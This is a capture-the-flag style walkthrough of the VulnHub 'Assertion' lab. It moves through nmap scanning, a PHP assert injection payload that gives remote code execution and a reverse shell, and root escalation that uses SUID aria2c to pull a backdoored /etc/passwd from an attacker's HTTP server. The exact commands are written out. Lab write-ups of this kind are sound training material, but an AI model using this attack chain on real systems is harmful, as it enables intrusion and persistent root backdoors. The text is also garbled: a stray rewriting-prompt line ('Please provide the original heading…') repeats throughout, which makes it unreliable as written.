Exploiting Apache httpd 2.4.29: Bypassing Vulnerabilities for Root Access

Network security

Apache httpd Asset Discovery

1.1. Apache httpd Host Discovery

This target range, ASSERTION[1], specifies the IP address and does not involve the host discovery process, particularly when configuring with Apache httpd.

1.2. Service Discovery in Apache httpd

The command sudo -u root nmap 172.16.33.99 -n -Pn -p- --reason -sV -sC -O was used to discover the open ports, services offered, components used, and component versions on the host.

Please provide the original heading you’d like rewritten with the keyword “Apache httpd.”

Apache httpd />

Open Ports

Services Offered

Components Used

Component Versions

22/tcp

ssh

OpenSSH

7.6p1

80/tcp

http

Apache httpd

2.4.29

os

Ubuntu Linux

?

Please provide the original heading you’d like rewritten with the keyword “Apache httpd.”

2. Vulnerability Discovery (Privilege Escalation)

2.1. Apache httpd Port 80/HTTP Service

2.1.1. Apache httpd Component Vulnerabilities

0x01. Web Middleware

The command searchsploit Apache httpd 2.4. was used, but no Nday vulnerabilities were found for Apache httpd 2.4.29 web middleware.

Please provide the original heading you’d like rewritten with the keyword “Apache httpd.”

Apache httpd />

0x02. Web Framework

The Wappalyzer browser plugin was used, and no web frameworks with Nday vulnerabilities were found.

Please provide the original heading you’d like rewritten with the keyword “Apache httpd.”

2.1.2. URL Vulnerabilities

0x01. Direct Access

Opening http://172.16.33.99/ in a browser revealed a fitness website. Although the navigation bar contains multiple addresses, the content is identical.

Please provide the original heading you’d like rewritten with the keyword “Apache httpd.”

The website’s forms only have front-end styling, no back-end interaction, so vulnerabilities like SQLi and XSS are unlikely.

The website’s /index.php page contains the parameter ?page=contact, potentially indicating a path traversal or file inclusion vulnerability. A successful exploit could lead to arbitrary file reading or, worse, remote code execution. A probe using the payload ?page=../../../../../etc/passwd was blocked, requiring either a bypass technique or alternative payloads.

After trying various bypass methods and payloads from HackTricks[2], a situation similar to the target machine was found in the assertion. Using the payload ' and die(system("whoami")) or ' successfully executed a command, revealing a remote code execution vulnerability.

However, attempts to create a reverse shell failed. Burp Suite packet capture showed that the & in the payload was treated as a parameter connector and required URL encoding. Using Burp Suite’s Decoder to URL-encode the payload ultimately granted www-data user privileges.

0x02. Directory Scanning

The command dirsearch -u http://172.16.33.99/ -x 403 did not reveal any valuable directories or files. Using a different wordlist with the command gobuster dir -u http://172.16.33.99/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt yielded no valuable results.

0x03. Fuzzing

Based on the current information, fuzzing the website’s directories and files is unnecessary.

0x04. Protocol Switching

Attempting the HTTPS protocol by accessing https://172.16.33.99:80/ in a browser failed, indicating the website does not use SSL.

Please provide the original heading you’d like rewritten with the keyword “Apache httpd.”

3. Privilege Escalation

3.1. www-data User

3.1.1. sudo

The commands which python and which python3 revealed the presence of both Python commands on the target machine. The command python3 -c 'import pty; pty.spawn("/bin/bash")' obtained an interactive shell.

The command sudo -l was used to check which commands the current user could execute with other user privileges, but it failed due to lack of the current user’s password.

Please provide the original heading you’d like rewritten with the keyword “Apache httpd.”

Please provide the original heading you’d like rewritten with the keyword “Apache httpd.”

3.1.2. SUID

The command find / -perm -u=s -type f -ls 2>/dev/null was used to identify commands that execute with the owner’s privileges. Many such commands were found.

Each command was checked in GTFOBins[3] for potential privilege escalation. /usr/bin/aria2c, when allowed to run with SUID privileges using the default sh shell, could be used for privilege escalation. Testing the exploit failed.

Please provide the original heading you’d like rewritten with the keyword “Apache httpd.”

Research revealed that aria2c is a file download tool. The privilege escalation exploit works by creating a download error that triggers privilege escalation code with root privileges, thereby gaining root privileges. Although the target system doesn’t allow the default sh shell to run with SUID privileges, the exploit failed. However, could we download a modified `/etc/passwd` file (containing a privileged user and password) with root privileges, overwrite the old `/etc/passwd`, and add a privileged user to gain root access?

After printing the `/etc/passwd` file content on the target machine using cat /etc/passwd and copying it, the command openssl passwd -6 -salt salt password was used locally to obtain the salted hash of the password password. Then, vim passwd was used to merge the password with the obtained `/etc/passwd` file, creating a username hacker. Finally, python3 -m http.server started an HTTP server to provide the modified `/etc/passwd` file for download to the target machine.

After navigating to the `/etc` directory on the target machine, the command /usr/bin/aria2c http://10.8.0.110:8000/passwd downloaded the file, but because `/etc/passwd` already existed, it was saved as `/etc/passwd.1`. This approach failed.

Reviewing the aria2c[4] documentation revealed the parameter --allow-overwrite [true|false] for forced overwriting. The command /usr/bin/aria2c http://10.8.0.110:8000/passwd --allow-overwrite=true successfully downloaded and overwrote the old `/etc/passwd` file using root privileges, effectively adding the backdoor privileged user.

However, attempts to log in using ssh [email protected] and the password password failed. After verifying that the `openssl` command and the `passwd` file were correct, it was suspected that the SSH service was configured to disallow password-based remote login for privileged users. Therefore, su hacker with the password password was used to switch to the `hacker` user, finally granting root privileges.

References

[1]

ASSERTION: https://www.vulnhub.com/entry/assertion-101,495/

[2]

HackTricks: https://book.hacktricks.xyz/pentesting-web/file-inclusion#lfi-via-phps-assert

[3]

GTFOBins: https://gtfobins.github.io

[4]

aria2c: https://aria2.github.io/manual/en/html/aria2c.html#advanced-options

Share this